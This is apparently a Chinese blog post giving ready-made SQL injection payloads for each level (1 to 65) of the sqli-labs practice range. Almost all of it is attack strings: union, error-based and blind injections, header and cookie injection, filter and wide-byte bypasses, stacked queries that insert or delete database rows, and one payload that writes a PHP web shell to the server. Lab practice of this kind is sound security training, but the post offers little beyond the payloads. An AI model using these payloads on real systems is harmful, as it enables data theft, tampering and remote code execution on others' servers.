SQL注入-SQLi-LABS靶场1-65完整payload

Less-01

http:///Less-1/
?id=-1' union select 1,database(),3 %23

在这里插入图片描述

Less-02

http://ip/Less-2/
?id=-1  union select 1,database(),3 %23

在这里插入图片描述

?id=-1 union select 1,@@basedir,@@datadir
 
 basedir()指定了安装MYSQL的安装路径
 datadir()指定了安装MYSQL的数据文件路径

在这里插入图片描述

Less-03

http://ip/Less-3/
?id=-1')  union select 1,database(),3 %23

在这里插入图片描述

Less-04

http://ip/Less-4/
?id=-1")  union select 1,database(),3 %23

在这里插入图片描述

Less-05

http://ip/Less-5/
?id=1' union select 1,count(*),concat_ws('~',database(),floor(rand()*2)) as a from 
information_schema.tables group by a --+

在这里插入图片描述

Less-06

http://ip/Less-6/
?id=1" union select 1,count(*),concat_ws('~',database(),floor(rand()*2)) as a from information_schema.tables group by a --+

在这里插入图片描述

Less-07

http://ip/Less-7/
?id=1')) union select 1,2,'<?php @eval($_REQUEST["123"])?>' into outfile 
"\\var\\www\\html\\Less-7\\hacker.php" --+

Less-08

http://ip/Less-8/
?id=1' and substr(database(),1,1)='s' --+

在这里插入图片描述

http://ip/Less-8/
?id=1' and substr(database(),1,1)>'s' --+

在这里插入图片描述

Less-9

http://ip/Less-9/
?id=1' and if((length(database())=8),sleep(3),0) --+

在这里插入图片描述

Less-10

http://ip/Less-10/
?id=1" and if((length(database())=8),sleep(3),0) --+

在这里插入图片描述

Less-11

http://ip/Less-11/
?id=1
uname=ad' union select user(),database()#&passwd=admin&submit=Submit

在这里插入图片描述

Less-12

http://ip/Less-12/
?id=1
uname=ad") union select user(),database()#&passwd=admin&submit=Submit

在这里插入图片描述

Less-13

http://ip/Less-13/
uname=ad') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&passwd=admin&submit=Submit

在这里插入图片描述

Less-14

http://ip/Less-14/
uname=admin" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&passwd=admin&submit=Submit

在这里插入图片描述

Less-15

http://ip/Less-15/
uname=' or ascii(substr(@@version,1,1))<64 -- &passwd=&submit=Submit

在这里插入图片描述

http://ip/Less-15/
uname=' or ascii(substr(@@version,1,1))>64 -- &passwd=&submit=Submit

在这里插入图片描述

Less-16

http://ip/Less-16/
uname=") or ascii(substr(@@version,1,1))<64 -- &passwd=&submit=Submit

在这里插入图片描述

http://ip/Less-16/
uname=") or ascii(substr(@@version,1,1))>64 -- &passwd=&submit=Submit

在这里插入图片描述

Less-17

http://ip/Less-17/
uname=admin&passwd=chybeta' and updatexml(1,concat(0x7e,(SELECT 
database()),0x7e),1)#&submit=Submit

在这里插入图片描述

Less-18

在这里插入图片描述

User-Agent: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1

在这里插入图片描述

Less-19

在这里插入图片描述

Referer: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '

在这里插入图片描述

Less-20

在这里插入图片描述

Cookie:  uname=' union select user(),2,3#

在这里插入图片描述

Less-21

在这里插入图片描述
编码前

') union select user(),2,3#

编码后

JykgdW5pb24gc2VsZWN0IHVzZXIoKSwyLDMj

在这里插入图片描述

Less-22

在这里插入图片描述

#编码前
" union select 1,2,user()#
#编码后
IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=

在这里插入图片描述

Less-23

http://ip/Less-23
?id=' union select 1,database(),'3

在这里插入图片描述

Less-24

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-25

http://ip/Less-25
?id=1'|| extractvalue(1,concat(0x7e,database())) -- +

在这里插入图片描述

Less-25a

http://ip/Less-25a
?id=-1 union select 1,database(),3 -- +

在这里插入图片描述

Less-26

在这里插入图片描述

http://ip/Less-26
?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1

在这里插入图片描述

Less-26a

#过滤负号
http://ip/Less-26a
?id=1000')%a0union%a0select%a01,user(),('3

在这里插入图片描述

Less-27

http://ip/Less-27
?id=-1000'unIon%a0SelEcT%a01,database(),3||'1

在这里插入图片描述

Less-27a

http://ip/Less-27a
?id=0" %a0 UniOn %a0 SelECT %a0 1,2,database();%00

在这里插入图片描述

Less-28

http://ip/Less-28
?id=0')union%a0select(1),(user()),(3)||('1

在这里插入图片描述

Less-28a

http://ip/Less-28a
?id=0') uNion%a0sElect 1,user(),('3

在这里插入图片描述

Less-29

http://ip/Less-29
?id=0&id=-1'  uNion%a0sElect 1,user(),'3

在这里插入图片描述

Less-30

http://ip/Less-30
?id=0&id=-1" uNion%a0sElect 1,user(),"3

在这里插入图片描述

Less-31

http://ip/Less-31
?id=0&id=-1") uNion%a0sElect 1,user(),("3

在这里插入图片描述

Less-32

http://ip/Less-32
?id=0&id=-1%df%27 union select 1,user(),3 -- +

在这里插入图片描述

Less-33

http://ip/Less-33
?id=0&id=-1%df%27 union select 1,user(),3 -- +

在这里插入图片描述

Less-34

http://ip/Less-34
uname=%bb' or 1 limit 1,1#&passwd=1

在这里插入图片描述

Less-35

http://ip/Less-35
?id=11 and (extractvalue(1,concat(1,(select database()))))  --+

在这里插入图片描述

Less-36

http://ip/Less-36
?id=-1%df' union select 1,2,database() --+

在这里插入图片描述

Less-37

http://ip/Less-36
uname=-1%df%27 union select 1,database()--+&passwd=1&submit=Submit

在这里插入图片描述

Less-38

http://ip/Less-38
?id=1';insert into users values(38,'less38','hello')--+

在这里插入图片描述
在这里插入图片描述

Less-39

http://ip/Less-39
?id=1;insert into users values(39,'less39','hello')--+

在这里插入图片描述
在这里插入图片描述

Less-40

http://ip/Less-40
?id=1');insert into users values(40,'Less40','hello')--+

在这里插入图片描述

Less-41

http://ip/Less-41
?id=1;insert into users values(41,'Less41','hello')--+

在这里插入图片描述

Less-42

在这里插入图片描述

';insert into users values(null,'adm','adm');#

在这里插入图片描述

Less-43

在这里插入图片描述

a');insert into users values(null,'adm1','adm1')#

在这里插入图片描述

Less-44

在这里插入图片描述


a';insert into users values(null,'adm2','adm2')#

在这里插入图片描述

Less-45

在这里插入图片描述

a');insert into users values(null,'adm3','adm3')#

在这里插入图片描述

Less-46

http://ip/Less-46
?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

在这里插入图片描述

Less-47

http://ip/Less-47/
?sort=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

在这里插入图片描述

Less-48

http://ip/Less-48/
?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(0.5),1) --+

在这里插入图片描述

Less-49

http://ip/Less-49/
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(0.5),1)--+

在这里插入图片描述

Less-50 (mysqli_multi_query())

http://ip/Less-50/
?sort=1 desc;insert into users values(null,'test','test');--+

在这里插入图片描述

Less-51

http://ip/Less-51/
?sort=1' ;delete from users where id=19;

在这里插入图片描述

Less-52

http://ip/Less-52/
?sort=1  desc;delete from users where id=18;

**在这里插入图片描述**

Less-53(无回显)

http://ip/Less-52/
?sort=1 desc'

在这里插入图片描述

http://ip/Less-52/
?sort=1 desc'; insert into users values(null,'test1','test1');

在这里插入图片描述

Less-53(无回显)

http://ip/Less-52/
?sort=1';

在这里插入图片描述

http://ip/Less-53/
?sort=1';delete from users where id=24;

在这里插入图片描述

Changllenge

Less-54

http://ip/Less-54/
?id=-1' union select 1,database(),3 --+

在这里插入图片描述

http://ip/Less-54/
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述

http://ip/Less-54/
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="HIURO68RLB"),3 --+

在这里插入图片描述

http://ip/Less-54/
?id=-1' union select 1,(select group_concat(secret_B1JE) from HIURO68RLB),3 --+

在这里插入图片描述

Less-55

http://ip/Less-55/
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述

http://ip/Less-55/
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name="B7966YL9EE"),3 --+

在这里插入图片描述

http://ip/Less-55/
?id=-1) union select 1,(select group_concat(secret_IYLU) from B7966YL9EE),3 --+

在这里插入图片描述

Less-56

http://ip/Less-56/
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述

http://ip/Less-56/
?id=-1')  union select 1,(select group_concat(column_name) from information_schema.columns where table_name="IAMTKU9YP5"),3 --+

在这里插入图片描述

http://ip/Less-56/
?id=-1') union select 1,(select group_concat(secret_EX3R) from IAMTKU9YP5),3 --+

在这里插入图片描述

Less-57

http://ip/Less-57/
?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述

http://ip/Less-57/
?id=-1"  union select 1,(select group_concat(column_name) from information_schema.columns where table_name="SHHUH6ZE8E"),3 --+

在这里插入图片描述

http://ip/Less-57/
?id=-1" union select 1,(select group_concat(secret_BNBI) from SHHUH6ZE8E),3 --+

在这里插入图片描述

Less-58

http://ip/Less-58/
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

在这里插入图片描述

http://ip/Less-58/
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema=database()),0x7e))--+

在这里插入图片描述

http://ip/Less-58/
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_name="3T2NJQ3VYK"),0x7e))--+

在这里插入图片描述

http://ip/Less-58/
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(secret_3LQM) from 3T2NJQ3VYK),0x7e))--+

在这里插入图片描述

Less-59

http://ip/Less-59/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema=database()),0x7e))--+

在这里插入图片描述

http://ip/Less-59/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_name="G15HNN62G8"),0x7e))--+

在这里插入图片描述

http://ip/Less-59/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(secret_B2OI) from G15HNN62G8),0x7e))--+

在这里插入图片描述

Less-60

http://ip/Less-60/
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema=database()),0x7e))--+

在这里插入图片描述

http://ip/Less-60/
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_name="CPOBEOTIAA"),0x7e))--+

在这里插入图片描述

http://ip/Less-60/
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(secret_FD8C) from CPOBEOTIAA),0x7e))--+

在这里插入图片描述

Less-60

http://ip/Less-61/
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema=database()),0x7e))--+

在这里插入图片描述

http://ip/Less-61/
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_name="XJD2PNZS5E"),0x7e))--+

在这里插入图片描述

http://ip/Less-61/
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(secret_ZJU4) from XJD2PNZS5E),0x7e))--+

在这里插入图片描述

Less-62

http://ip/Less-62/
?id=1') and ascii(substr(database(),1,1))<115 --+

在这里插入图片描述

http://ip/Less-62/
?id=1') and ascii(substr(database(),1,1))>115 --+

在这里插入图片描述

Less-63

http://ip/Less-63/
?id=1' and ascii(substr(database(),1,1))<115 --+

在这里插入图片描述

http://ip/Less-63/
?id=1' and ascii(substr(database(),1,1))>115 --+

在这里插入图片描述

Less-64

http://ip/Less-64/
?id=1)) and ascii(substr(database(),1,1))<115--+

在这里插入图片描述

http://ip/Less-64/
?id=1)) and ascii(substr(database(),1,1))>115--+

在这里插入图片描述

Less-65

http://ip/Less-65/
?id=1") and ascii(substr(database(),1,1))<115–+
在这里插入图片描述

http://ip/Less-65/
?id=1") and ascii(substr(database(),1,1))>115--+

在这里插入图片描述

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

问心彡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值